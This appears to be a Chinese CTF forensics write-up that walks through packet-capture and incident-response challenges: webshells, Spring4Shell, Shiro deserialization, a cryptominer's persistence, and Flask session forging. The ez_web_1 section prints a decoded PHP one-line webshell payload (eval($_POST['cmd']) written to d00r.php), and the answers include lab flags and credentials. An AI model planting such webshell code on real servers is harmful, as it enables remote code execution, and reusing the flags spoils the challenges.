数据分析-HW
hard_web_1
题目:
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
打开流量包,按照时间顺序可以推测192.168.162.180为服务器ip,192.168.162.188为客户机ip。于是首先过滤出服务器响应的部分
可以使用过滤器输入命令ip.dst == 192.168.162.188 && tcp.connection.synack
,表示过滤出目标ip为188的SYN-ACK包。
这是由于TCP三次握手中,服务端会返回SYN-ACK包
完成过滤后检查数据包,可以看到Src Port就是服务器开放端口
全部检查后发现总共三个:80, 888和8888,就是最后的答案。
hard_web_2
题目:
服务器中根目录下的flag值是多少?
过滤http数据包可以发现有shell.jsp
我们选择追踪http流。搜索shell.jsp可以找到这样一条数据:
这一部分说明这是godzilla加密的shell,期中加密方式为AES,密钥在xc中为748007e861908c03
接下来我们逐一检查如下几个包,依次将body部分解密。
在最后一个包中,可以获取到如下内容:
需要注意的是,0d0a0d0a是消息头和消息体的分界,所以需要解密的只有之后的部分
将body部分解密可以得到压缩包,解压后得到明文flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard_web_3
题目:
该webshell的连接密码是多少?
连接密码在md5后,他的前16个作为数据包加密密钥。所以此处需要寻找md5后为748007e861908c03的值,使用cmd5解密得14mk3y
数据分析-SS
sevrer save_1
题目:
黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
观察流量,可以看到前面的请求均为/helloworld/xx,服务器返回404,推测是暴破流量,这里可以跳过向后看。
在最后的部分出现了shell.jsp,于是我们向上查看最后一次/helloworld/greeting的流量。
可以看到请求体为一个网页
搜索标题Reznok’s Hello World Spring Application,得到网页https://github.com/reznok/Spring4Shell-POC,其中记录漏洞编号为CVE-2022-22965
sevrer save_2
题目:
黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
继续观察后面几个数据包,可以观察到有下载的请求
我们检查这个包和下一个服务器返回的包,可以找到如下命令
这里即可找到反弹的地址和端口:192.168.43.128:2333
sevrer save_3
题目:
黑客的病毒名称是什么? 格式为:filename
首先检查各用户目录。在/home/guests/中发现可疑文件main
观察文件可以发现是ELF可执行文件,推测为病毒。
sevrer save_4
题目:
黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
Linux用户名保存在/etc/passwd中,打开可以看到最近添加的是ll
密码存在/etc/shadow中,可以看到密码为123456
所以答案为:ll:123456
sevrer save_5
题目:
服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
检查/home/guests/中的.log文件,可以看到向172.105.202.239发送了请求。
sevrer save_6
题目:
病毒运行后释放了什么文件?格式:文件1,文件2
继续观察.log文件可以看到执行了.idea/mine_doge.sh文件
在.idea中检查到如下两个文件,推测为挖矿软件。
sevrer save_7
题目:
矿池地址是什么? 格式:domain:1234
打开mine_doge.sh可以看到内容如下
可以在POOL中找到矿池地址为 doge.millpools.cc:5567
sevrer save_8
题目:
黑客的钱包地址是多少?格式:xx:xxxxxxxx
如上题,可在mine_doge.sh中找到钱包地址为 DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
数据分析-WS
Wireshark1_1
题目:
被入侵主机的IP是?
经过排序后可以看到只有两个ip在通信,所以可以推测ip为192.168.246.28
Wireshark1_2
题目:
被入侵主机的口令是?
观察到这是一个telnet通信,于是追踪数据包
可以看到口令为 youcannevergetthis
Wireshark1_3
题目:
用户目录下第二个文件夹的名称是?
继续观察上一题的流量包,可以看到有文件夹列表,第二个为Downloads
Wireshark1_4
题目:
/etc/passwd中倒数第二个用户的用户名是?
从这里可以知道后面的内容是/etc/passwd文件内容,所以倒数第二个是mysql
数据分析-IR
IncidentResponse_1
题目:
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd) 挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
先通过ls -la --sort=t
查看近期文件改动
于是我们依次检查这些文件。在.viminfo中发现大量redis操作
进入redis目录,可以看到redis-server有7万次操作可以确定为挖矿软件
于是答案为6f72038a870f05cbf923633066e48881
IncidentResponse_2
题目:
挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
确认挖矿软件后,打开redis配置文件,在里面搜索WALLET,可以找到如下配置
于是矿池为donate.v2.xmrig.com,答案为3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
之前查看.bash_history时注意到有一个renren-admin.jar运行了nohup服务(即后台运行)
注意到/home/app/下有此jar包且运行次数非常高,于是我们检查nohub.log
多处发现shiro关键字,推测为shiro反序列化漏洞。
所以答案为shirodeserialization,转化为标准格式后得到3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
题目:
攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
检查登录信息,可以发现有一条外网连接,ip为81.70.166.3,所以答案为c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
题目:
攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
检查Nginx日志(/var/log/nginx/access.log)中查看访问信息,可以在最后找到ua信息为Mozilla/5.0 (compatible; Baiduspider/2.0; +http://baidu.com/search/spider.html)
IncidentResponse_6
题目:
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
检查.ssh目录,查看authorized_keys文件
在这里发现开启了ssh私钥登录,且用户为root@kali。所以答案为/root/.ssh/authorized_keys,转化格式后得到a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
题目:
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
可能是开机自启,所以检查/root/lib/systemd/system/和/etc/systemd/system/,在/root/lib/systemd/system/中找到了redis.service文件。查看文件可以发现redis会自启连接矿池。
所以答案为/lib/systemd/system/redis.service,转换格式为b2c5af8ce08753894540331e5a947d35
数据分析-SSW
SmallSword_1
题目:
连接蚁剑的正确密码是______________?(答案示例:123asd)
首先过滤http包,注意到如下流量,形如蚁剑一句话木马,选择追踪流量。
可以在$_POST中找到连接密码6ea280898e404bfabd0ebb702327b18f,其中
%22
代表双引号。
SmallSword_2
题目:
攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
检查蚁剑流量,并用Base64解码
在这个流量包中发现上传如下值
解码后得到ad6269b7-3ce2-4ae8-b97f-f259515e7a91 ,即为答案。
SmallSword_3
题目:
攻击者下载到的flag是______________?(答案示例:flag3{uuid})
待更
数据分析-EW
ez_web_1
题目:
服务器自带的后门文件名是什么?(含文件后缀)
后门文件需要上传,所以我们过滤POST请求,得到以下流量
可以发现d00r.php为后门文件。但我们检查第一个流量
a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B
,可转译为a=file_put_contents(‘d00r.php’,+base64_decode(‘<?php eval($_POST['cmd']);?>’);
可以发现是ViewMore.php上传的d00r.php文件。所以真正的后门文件为ViewMore.php
ez_web_2
题目:
服务器的内网IP是多少?
依次检查d00r.php流量包,在其中一个找到了system%28%27ifconfig%27%29%3B
即system('ifconfig');
所以下面的响应数据为ip地址,内网ip为192.168.101.132
ez_web_3
题目:
攻击者往服务器中写入的key是什么?
继续先后检查流量包,发现如下命令
推测为上传key_file文件,使用base64解码后面的数据得到一串编码。值得注意的是%27为
'
%28为(
%29为)
所以有效编码为它们中间的部分,并且需要替换编码中的字符%2F为/
%3D为=
。
将其保存为zip文件并解压,提示需要密码。向上查看流量包,找到如下命令:
说明密码为7e03864b0db7e6f9。填入压缩文件可以得到key.txt,其中key值为7d9ddff2-2d67-4eba-9e48-b91c26c42337
数据分析-BF
baby_forensics_1
题目:
磁盘中的key是多少?
待更
baby_forensics_2
题目:
电脑中正在运行的计算器的运行结果是多少?
待更
baby_forensics_3
题目:
该内存文件中存在的flag值是多少?
待更
数据分析-TP
tcpdump_1
题目:
攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
观察登录失败的流量,可以发现服务器返回错误信息是errCode: 300,于是开始寻找返回信息的包。
tcpdump_2
题目:
攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
过滤登录成功的流量,发现有一条数据修改了cookie
追踪这条流量,可以发现userid变化,说明发生了越权。
所以答案为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1。取md5后得到383c74db4e32513daaa1eeb1726d7255
tcpdump_3
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
首先过滤含有jdbc、username和password的流量
追踪流量可以找到用户名和密码
所以答案是zyplayer:1234567
tcpdump_4
题目:
攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
这一题使用了JDBC漏洞CVE-2022-21724,从这里可以看到jdbc连接了postgresql可以看到这些流量之后有大量的custom.dtd.xml请求
所以exp文件为custom.dtd.xml,答案为CVE-2022-21724:custom.dtd.xml
tcpdump_5
题目:
给出攻击者获取系统权限后,下载的工具的名称,比如nmap
可以看到第一次出现custom.dtd.xml的流量是1602,于是开始追踪后续tcp包
在1611中发现如下payload,可以看到其下载了fscan
数据分析-HD
hacked_1
题目:
admIn用户的密码是什么?
过滤包含password的流量,可以发现服务器的加密方式为aes,密钥为l36DoqKUYQP0N7e1,iv为131b0c8a7a6e072e,模式为CBC,填充为Pkcs7。接下来开始查询登录信息。
利用上面的参数加密admIn得到NQq5hKinIsaMmIZ7FCTC0Q==,搜索流量可以查到密码为KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=
解密后得到flag{WelC0m5_TO_H3re}
hacked_2
题目:
app.config['SECRET_KEY']值为多少?
直接过滤含SECRET_KEY的流量可以获得如下两个。
追踪流量可以得到SECRET_KEY为ssti_flask_hsfvaldb,其中
'
为'
hacked_3
题目:
flask网站由哪个用户启动?
这里利用了Flask的session注入。搜索含有Set-Cookie的流量。
使用上一问得到的密钥逐一解码Set-Cookie中的内容。发现其中一个session解码后得到
可以看到这里上传了cookie,所以用户名是red
hacked_4
题目:
攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
黑色部分是上一问注入session的位置,于是检查该用户登录期间的操作
依次解码session可以找到如下内容
说明攻击者建立了**/Index**的路由,页面内容为Hello! 123。追踪相应的流量也可以得到相同的结论。